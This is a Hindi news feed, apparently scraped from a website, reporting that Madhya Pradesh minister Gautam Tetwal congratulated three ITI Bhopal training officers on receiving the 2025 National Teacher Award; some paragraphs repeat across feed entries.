राज्यमंत्री टेटवाल ने कहा कि प्रदेश सरकार का संकल्प युवाओं को गुणवत्तापूर्ण प्रशिक्षण प्रदान करना है, ताकि वे वर्तमान के प्रतिर्स्धात्मक वातावरण के अनुकूल स्वरोजगार और उद्यमिता की दिशा में आगे बढ़ सकें। उन्होंने कहा कि यह सम्मान उन प्रयासों की बड़ी उपलब्धि है और आने वाले समय में विभाग को और अधिक नवाचार करने की प्रेरणा देगा। यह गौरव पूरे प्रदेश और विभाग के लिए गर्व का क्षण है, जो यह दर्शाता है कि मध्यप्रदेश कौशल विकास के क्षेत्र में राष्ट्रीय मानक स्थापित कर रहा है।

राष्ट्रपति ने किया था पुरस्कृत

शिक्षक दिवस 5 सितम्बर को राष्ट्रपति श्रीमती द्रोपदी मुर्मु ने प्रदेश के तीन प्रशिक्षण अधिकारियों को राष्ट्रीय शिक्षक पुरस्कार प्रदान किया था। शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड रेफ्रिजरेशन एंड एयर कंडीशनिंग) राजेंद्र मालवीया को यह पुरस्कार उनकी नवाचारी पद्धतियों और व्यावहारिक प्रशिक्षण की दिशा में किए गए उल्लेखनीय योगदान के लिए मिला। उन्होंने प्रशिक्षार्थियों को स्वरोजगार और उद्यमिता की राह दिखाई। उनके प्रशिक्षार्थियों ने स्वयं व्यवसाय स्थापित कर लाखों रूपये का रोजगार उत्पन्न किया और अनेक विद्यार्थियों ने अंतरराष्ट्रीय अवसर प्राप्त कर प्रदेश का नाम रोशन किया।

शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड मैकेनिक डीजल) प्रशांत दीक्षित ने विद्यार्थियों के लिए नई तकनीकें विकसित करने और ई-कंटेंट निर्माण में उल्लेखनीय योगदान दिया। कोविड-19 महामारी के दौरान उनके डिजिटल कंटेंट से देशभर के लाखों आईटीआई विद्यार्थियों को शिक्षा प्राप्त करने का अवसर मिला। उनकी इस पहल ने कौशल शिक्षा को तकनीकी रूप से मजबूत आधार प्रदान किया।

शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड कोपा दृष्टिबाधित) श्रीमती प्रेमलता रहांगडाले ने दृष्टिबाधित विद्यार्थियों के लिए विशेष प्रयास किए। उन्होंने उन्हें कंप्यूटर ऑपरेटर के रूप में प्रशिक्षित कर आत्मनिर्भर बनाने में सफलता पाई। उनके प्रशिक्षार्थी समाज में गरिमापूर्ण पहचान बना रहे हैं और विभिन्न क्षेत्रों में रोजगार के अवसर प्राप्त कर रहे हैं।

मध्यप्रदेश की यह उपलब्धि निरंतर बनी हुई है। वर्ष 2024 में भी प्रदेश के दो प्रशिक्षण अधिकारियों को राष्ट्रीय शिक्षक पुरस्कार प्रदान किया गया था। यह साबित करता है कि कौशल विकास विभाग लगातार गुणवत्तापूर्ण प्रशिक्षण और नवाचार का नया मानक स्थापित कर रहा है।

राज्यमंत्री टेटवाल ने कहा कि प्रदेश सरकार युवाओं को रोजगार के नए अवसरों से जोड़ने के लिए प्रतिबद्ध है। कौशल विकास के माध्यम से युवाओं को स्वरोजगार और रोजगार से सशक्त बनाना सरकार की प्राथमिकता है। राष्ट्रीय शिक्षक पुरस्कार प्रदेश की इस दिशा में हो रहे प्रयासों की पुष्टि है और आने वाले समय में और बेहतर कार्य करने की प्रेरणा भी है।

 

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मंत्री टेटवाल ने राष्ट्रीय पुरस्कार प्राप्त प्रशिक्षकों को दी बधाई और शुभकामनाएं https://pratyushaashakinayikiran.com/?p=184319 Wed, 10 Sep 2025 06:16:00 +0000 https://pratyushaashakinayikiran.com/?p=184319 राष्ट्रीय पुरस्कार विजेता प्रशिक्षकों को मंत्री टेटवाल ने दी शुभकामनाएं

मंत्री टेटवाल का सम्मान, राष्ट्रीय पुरस्कार प्राप्त प्रशिक्षकों को दी बधाई

कौशल विकास के प्रशिक्षकों ने बढ़ाया मध्यप्रदेश का मान

भोपाल

कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार) गौतम टेटवाल ने कहा कि राष्ट्रीय शिक्षक पुरस्कार 2025 से सम्मानित प्रशिक्षण अधिकारी प्रदेश के युवाओं के लिए प्रेरणा स्रोत हैं। राज्यमंत्री टेटवाल ने तीनों प्रशिक्षकों से मिलकर उन्हें बधाई और शुभकामनाएं दीं। राज्यमंत्री टेटवाल ने कहा कि यह उपलब्धि प्रशिक्षकों की प्रतिबद्धता, नवाचार और मेहनत का परिणाम है।

राज्यमंत्री टेटवाल ने कहा कि प्रदेश सरकार का संकल्प युवाओं को गुणवत्तापूर्ण प्रशिक्षण प्रदान करना है, ताकि वे वर्तमान के प्रतिर्स्धात्मक वातावरण के अनुकूल स्वरोजगार और उद्यमिता की दिशा में आगे बढ़ सकें। उन्होंने कहा कि यह सम्मान उन प्रयासों की बड़ी उपलब्धि है और आने वाले समय में विभाग को और अधिक नवाचार करने की प्रेरणा देगा। यह गौरव पूरे प्रदेश और विभाग के लिए गर्व का क्षण है, जो यह दर्शाता है कि मध्यप्रदेश कौशल विकास के क्षेत्र में राष्ट्रीय मानक स्थापित कर रहा है।

राष्ट्रपति ने किया था पुरस्कृत

शिक्षक दिवस 5 सितम्बर को राष्ट्रपति श्रीमती द्रोपदी मुर्मु ने प्रदेश के तीन प्रशिक्षण अधिकारियों को राष्ट्रीय शिक्षक पुरस्कार प्रदान किया था। शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड रेफ्रिजरेशन एंड एयर कंडीशनिंग) राजेंद्र मालवीया को यह पुरस्कार उनकी नवाचारी पद्धतियों और व्यावहारिक प्रशिक्षण की दिशा में किए गए उल्लेखनीय योगदान के लिए मिला। उन्होंने प्रशिक्षार्थियों को स्वरोजगार और उद्यमिता की राह दिखाई। उनके प्रशिक्षार्थियों ने स्वयं व्यवसाय स्थापित कर लाखों रूपये का रोजगार उत्पन्न किया और अनेक विद्यार्थियों ने अंतरराष्ट्रीय अवसर प्राप्त कर प्रदेश का नाम रोशन किया।

शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड मैकेनिक डीजल) प्रशांत दीक्षित ने विद्यार्थियों के लिए नई तकनीकें विकसित करने और ई-कंटेंट निर्माण में उल्लेखनीय योगदान दिया। कोविड-19 महामारी के दौरान उनके डिजिटल कंटेंट से देशभर के लाखों आईटीआई विद्यार्थियों को शिक्षा प्राप्त करने का अवसर मिला। उनकी इस पहल ने कौशल शिक्षा को तकनीकी रूप से मजबूत आधार प्रदान किया।

शासकीय संभागीय आईटीआई, भोपाल के प्रशिक्षण अधिकारी (ट्रेड कोपा दृष्टिबाधित) श्रीमती प्रेमलता रहांगडाले ने दृष्टिबाधित विद्यार्थियों के लिए विशेष प्रयास किए। उन्होंने उन्हें कंप्यूटर ऑपरेटर के रूप में प्रशिक्षित कर आत्मनिर्भर बनाने में सफलता पाई। उनके प्रशिक्षार्थी समाज में गरिमापूर्ण पहचान बना रहे हैं और विभिन्न क्षेत्रों में रोजगार के अवसर प्राप्त कर रहे हैं।

मध्यप्रदेश की यह उपलब्धि निरंतर बनी हुई है। वर्ष 2024 में भी प्रदेश के दो प्रशिक्षण अधिकारियों को राष्ट्रीय शिक्षक पुरस्कार प्रदान किया गया था। यह साबित करता है कि कौशल विकास विभाग लगातार गुणवत्तापूर्ण प्रशिक्षण और नवाचार का नया मानक स्थापित कर रहा है।

राज्यमंत्री टेटवाल ने कहा कि प्रदेश सरकार युवाओं को रोजगार के नए अवसरों से जोड़ने के लिए प्रतिबद्ध है। कौशल विकास के माध्यम से युवाओं को स्वरोजगार और रोजगार से सशक्त बनाना सरकार की प्राथमिकता है। राष्ट्रीय शिक्षक पुरस्कार प्रदेश की इस दिशा में हो रहे प्रयासों की पुष्टि है और आने वाले समय में और बेहतर कार्य करने की प्रेरणा भी है।

 

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कौशल विकास एवं रोजगार राज्य मंत्री टेटवाल ने राष्ट्रीय शिक्षक पुरस्कार मिलने पर मालवीय को बधाई और शुभकामनाएं दीं https://pratyushaashakinayikiran.com/?p=183236 Fri, 05 Sep 2025 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=183236 कौशल विकास एवं रोजगार राज्य मंत्री टेटवाल ने राष्ट्रीय शिक्षक पुरस्कार मिलने पर मालवीय को बधाई और शुभकामनाएं दीं

कौशल विकास मंत्री ने मालवीय को राष्ट्रीय शिक्षक पुरस्कार पर शुभकामनाएं दीं

राष्ट्रीय शिक्षक पुरस्कार जीतने पर मालवीय को मंत्री टेटवाल ने किया सम्मानित और बधाई दी

राष्ट्रीय शिक्षक पुरस्कार 2025 से सम्मानित हुए शासकीय संभागीय आईटीआई भोपाल के प्रशिक्षण अधिकारी राजेन्द्र मालवीय

भोपाल 
राष्ट्रपति श्रीमती द्रौपदी मुर्मु ने दिल्ली में शिक्षक दिवस पर शासकीय संभागीय आईटीआई भोपाल के प्रशिक्षण अधिकारी राजेन्द्र मालवीय को राष्ट्रीय शिक्षक पुरस्कार-2025 से सम्मानित किया। यह सम्मान उन्हें दीर्घ अवधि इंजीनियरिंग ट्रेड श्रेणी में सर्वश्रेष्ठ कौशल प्रशिक्षक के रूप में उत्कृष्ट योगदान के लिए दिया गया।

कौशल विकास एवं रोजगार राज्यमंत्री (स्वतंत्र प्रभार) गौतम टेटवाल ने बधाई और शुभकामनाएं देते हुए कहा कि मालवीय ने अपनी मेहनत और प्रतिबद्धता से प्रदेश का गौरव बढ़ाया है। उन्होंने बताया कि यह उपलब्धि प्रदेश के सभी प्रशिक्षकों और प्रशिक्षण संस्थानों के लिए प्रेरणादायी है, जो कौशल शिक्षा के क्षेत्र में नई ऊँचाइयाँ हासिल करने का मार्ग प्रशस्त करेगी। यह राष्ट्रीय स्तर का प्रतिष्ठित सम्मान कौशल विकास क्षेत्र में मालवीय की निरंतर मेहनत और प्रशिक्षणार्थियों के सर्वांगीण विकास के प्रति उनके समर्पण को प्रमाणित करता है। उनकी उपलब्धि से प्रदेश की आईटीआई संस्थाओं की गुणवत्तापूर्ण प्रशिक्षण परंपरा और प्रशिक्षकों की प्रतिबद्धता को राष्ट्रीय स्तर पर पहचान मिली है। कौशल विकास संचालनालय ने भी मालवीय की इस उपलब्धि पर गर्व व्यक्त करते हुए उन्हें शुभकामनाएँ दी हैं।

 

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